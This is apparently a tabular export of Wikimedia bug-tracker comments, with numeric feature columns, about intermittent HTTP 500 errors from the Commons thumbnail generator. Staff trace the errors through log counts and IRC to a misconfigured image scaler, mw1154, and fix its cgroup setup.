6666666666,0.0,3.0,0.0,1.0,0.0,2.6666666666666665,5.0,4.333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,3.0,1.0,0.0,4.333333333333333,0.6666666666666666,0.0,8.0,3.9391690009337075,0.657609710550887,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET URL
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- URL -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical"
254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,0.5,0.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,5.5,0.0,1.0,3.5,0.0,0.0,0.0,0.5,1.0,0.5,7.0,0.0,1.5,3.5,13.5,1.5,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.5,0.5,0.0,27.5,3.1991901776384535,0.5824843260188088,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> URL
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
[02:10:10] <Reedy> thanks"
254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,7.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.74,0.29,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486"
254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.294117647058823,1.0,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.
254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.875,Part of the question would be is it still the same machine? (based on the fact it's already changed once)
254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,Could this server be taken out of rotation until the issue is resolved?
254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg

Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0.3333333333333333,0.0,0.0,0.0,0.0,3.8333333333333335,0.16666666666666666,0.0,0.0,0.0,0.6666666666666666,7.333333333333333,0.0,0.0,0.0,0.16666666666666666,0.16666666666666666,1.0,3.1666666666666665,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.5,0.0,0.16666666666666666,0.0,1.1666666666666667,0.0,0.16666666666666666,0.16666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.8333333333333334,0.16666666666666666,5.166666666666667,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.5,0.0,0.6666666666666666,0.0,12.166666666666666,0.0,0.5,3.1666666666666665,11.333333333333334,0.16666666666666666,11.5,0.16666666666666666,0.5,0.0,0.16666666666666666,0.5,0.0,1.1666666666666667,0.5,0.0,1.3333333333333333,4.075156054931337,0.6390345401581357,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: URL

Triggered from an <img> tag on URL when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format CODE/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded"
254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0.0,1.0,0.0,1.0,3.0,7.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,4.0,3.0,3.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,3.0,1.0,0.0,0.0,4.2368421052631575,0.7631578947368421,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)"
254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54188 has been marked as a duplicate of this bug. ***
254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
> 55424
> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
> 111320

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,6.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,8.0,13.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.7419354838709677,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines."
254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.4222222222222225,0.7777777777777778,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps GERRIT_URL would help debug the situation (including stderr from limit.sh in the 500 error message)."
254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.96,0.56,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320"
254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,3.0,2.0,0.0,0.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,5.5,10.5,2.0,1.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,3.5,0.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,15.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.5,3.0,5.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,2.0,10.5,2.0,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.5,2.0,0.0,0.0,0.0,3.946428571428571,0.8392857142857142,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - URL"
254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,5.5,22.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.601351351351351,0.41891891891891897,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107"
254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,3.9642857142857144,1.0,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts"
254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
-----
>I don't think the scenario is relevant, there is either something wrong with
>the thumbnail generator script that is triggered by lots of images. Or there is
>a few faulty servers in the upload.wikimedia.org pool that cause the errors.

